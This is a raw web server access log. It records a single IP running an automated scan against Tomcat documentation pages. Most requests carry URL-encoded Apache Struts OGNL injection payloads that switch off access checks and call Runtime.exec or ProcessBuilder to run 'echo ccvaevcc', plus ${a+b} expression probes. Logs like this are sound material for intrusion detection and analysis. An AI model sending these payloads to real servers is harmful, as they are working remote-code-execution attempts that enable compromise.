222.186.180.34 - - [26/May/2023:06:05:17 +0530] "GET /docs/manager-howto.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1690
222.186.180.34 - - [26/May/2023:06:05:17 +0530] "POST /docs/manager-howto.html HTTP/1.0" 200 72734
222.186.180.34 - - [26/May/2023:06:05:19 +0530] "POST /docs/manager-howto.html HTTP/1.0" 200 72734
222.186.180.34 - - [26/May/2023:06:05:21 +0530] "POST /docs/manager-howto.html HTTP/1.0" 200 72734
222.186.180.34 - - [26/May/2023:06:05:22 +0530] "POST /docs/manager-howto.html HTTP/1.0" 200 72734
222.186.180.34 - - [26/May/2023:06:05:24 +0530] "GET /docs/manager-howto.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 72734
222.186.180.34 - - [26/May/2023:06:05:25 +0530] "GET /docs/manager-howto.html/%24%7B8281135%2B3882538%7D/index.action HTTP/1.0" 404 1120
222.186.180.34 - - [26/May/2023:06:05:26 +0530] "GET /docs/manager-howto.html HTTP/1.0" 200 72734
222.186.180.34 - - [26/May/2023:06:05:33 +0530] "POST /docs/realm-howto.html HTTP/1.0" 200 62962
222.186.180.34 - - [26/May/2023:06:05:35 +0530] "GET /docs/realm-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 62962
222.186.180.34 - - [26/May/2023:06:05:37 +0530] "GET /docs/realm-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 62962
222.186.180.34 - - [26/May/2023:06:05:39 +0530] "GET /docs/realm-howto.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 62962
222.186.180.34 - - [26/May/2023:06:05:40 +0530] "POST /docs/realm-howto.html HTTP/1.0" 200 62962
222.186.180.34 - - [26/May/2023:06:05:47 +0530] "GET /docs/realm-howto.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1066
222.186.180.34 - - [26/May/2023:06:05:48 +0530] "GET /docs/realm-howto.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2062
222.186.180.34 - - [26/May/2023:06:05:49 +0530] "GET /docs/realm-howto.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2062
222.186.180.34 - - [26/May/2023:06:05:50 +0530] "GET /docs/realm-howto.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 62962
222.186.180.34 - - [26/May/2023:06:05:52 +0530] "GET /docs/realm-howto.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1766
222.186.180.34 - - [26/May/2023:06:05:53 +0530] "GET /docs/realm-howto.html?redirect%3A%24%7B2068803%2B3078736%7D HTTP/1.0" 200 62962
222.186.180.34 - - [26/May/2023:06:05:54 +0530] "GET /docs/realm-howto.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 62962
222.186.180.34 - - [26/May/2023:06:05:56 +0530] "POST /docs/realm-howto.html HTTP/1.0" 200 62962
222.186.180.34 - - [26/May/2023:06:05:58 +0530] "GET /docs/realm-howto.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 62962
222.186.180.34 - - [26/May/2023:06:05:59 +0530] "GET /docs/realm-howto.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1450
222.186.180.34 - - [26/May/2023:06:06:00 +0530] "GET /docs/realm-howto.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1686
222.186.180.34 - - [26/May/2023:06:06:01 +0530] "POST /docs/realm-howto.html HTTP/1.0" 200 62962
222.186.180.34 - - [26/May/2023:06:06:03 +0530] "POST /docs/realm-howto.html HTTP/1.0" 200 62962
222.186.180.34 - - [26/May/2023:06:06:06 +0530] "POST /docs/realm-howto.html HTTP/1.0" 200 62962
222.186.180.34 - - [26/May/2023:06:06:11 +0530] "POST /docs/realm-howto.html HTTP/1.0" 200 62962
222.186.180.34 - - [26/May/2023:06:06:13 +0530] "GET /docs/realm-howto.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 62962
222.186.180.34 - - [26/May/2023:06:06:15 +0530] "GET /docs/realm-howto.html/%24%7B5301057%2B8646466%7D/index.action HTTP/1.0" 404 1116
222.186.180.34 - - [26/May/2023:06:06:15 +0530] "GET /docs/realm-howto.html HTTP/1.0" 200 62962
222.186.180.34 - - [26/May/2023:06:06:22 +0530] "POST /docs/security-manager-howto.html HTTP/1.0" 200 29605
222.186.180.34 - - [26/May/2023:06:06:24 +0530] "GET /docs/security-manager-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 29605
222.186.180.34 - - [26/May/2023:06:06:25 +0530] "GET /docs/security-manager-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 29605
222.186.180.34 - - [26/May/2023:06:06:27 +0530] "GET /docs/security-manager-howto.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 29605
222.186.180.34 - - [26/May/2023:06:06:28 +0530] "POST /docs/security-manager-howto.html HTTP/1.0" 200 29605
222.186.180.34 - - [26/May/2023:06:06:29 +0530] "GET /docs/security-manager-howto.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1088
222.186.180.34 - - [26/May/2023:06:06:30 +0530] "GET /docs/security-manager-howto.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2084
222.186.180.34 - - [26/May/2023:06:06:32 +0530] "GET /docs/security-manager-howto.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2084
222.186.180.34 - - [26/May/2023:06:06:33 +0530] "GET /docs/security-manager-howto.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 29605
222.186.180.34 - - [26/May/2023:06:06:34 +0530] "GET /docs/security-manager-howto.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1788
222.186.180.34 - - [26/May/2023:06:06:35 +0530] "GET /docs/security-manager-howto.html?redirect%3A%24%7B8124287%2B5963568%7D HTTP/1.0" 200 29605
222.186.180.34 - - [26/May/2023:06:06:37 +0530] "GET /docs/security-manager-howto.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 29605
222.186.180.34 - - [26/May/2023:06:06:38 +0530] "POST /docs/security-manager-howto.html HTTP/1.0" 200 29605
222.186.180.34 - - [26/May/2023:06:06:39 +0530] "GET /docs/security-manager-howto.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 29605
222.186.180.34 - - [26/May/2023:06:06:40 +0530] "GET /docs/security-manager-howto.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1472
222.186.180.34 - - [26/May/2023:06:06:41 +0530] "GET /docs/security-manager-howto.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1708
222.186.180.34 - - [26/May/2023:06:06:42 +0530] "POST /docs/security-manager-howto.html HTTP/1.0" 200 29605
222.186.180.34 - - [26/May/2023:06:06:43 +0530] "POST /docs/security-manager-howto.html HTTP/1.0" 200 29605
222.186.180.34 - - [26/May/2023:06:06:45 +0530] "POST /docs/security-manager-howto.html HTTP/1.0" 200 29605
222.186.180.34 - - [26/May/2023:06:06:46 +0530] "POST /docs/security-manager-howto.html HTTP/1.0" 200 29605
222.186.180.34 - - [26/May/2023:06:06:47 +0530] "GET /docs/security-manager-howto.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 29605
222.186.180.34 - - [26/May/2023:06:06:48 +0530] "GET /docs/security-manager-howto.html/%24%7B4109585%2B1153492%7D/index.action HTTP/1.0" 404 1138
222.186.180.34 - - [26/May/2023:06:06:49 +0530] "GET /docs/security-manager-howto.html HTTP/1.0" 200 29605
222.186.180.34 - - [26/May/2023:06:06:53 +0530] "POST /docs/jndi-resources-howto.html HTTP/1.0" 200 53615
222.186.180.34 - - [26/May/2023:06:06:55 +0530] "GET /docs/jndi-resources-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 53615
222.186.180.34 - - [26/May/2023:06:06:56 +0530] "GET /docs/jndi-resources-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 53615
222.186.180.34 - - [26/May/2023:06:06:58 +0530] "GET /docs/jndi-resources-howto.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 53615
222.186.180.34 - - [26/May/2023:06:07:00 +0530] "POST /docs/jndi-resources-howto.html HTTP/1.0" 200 53615
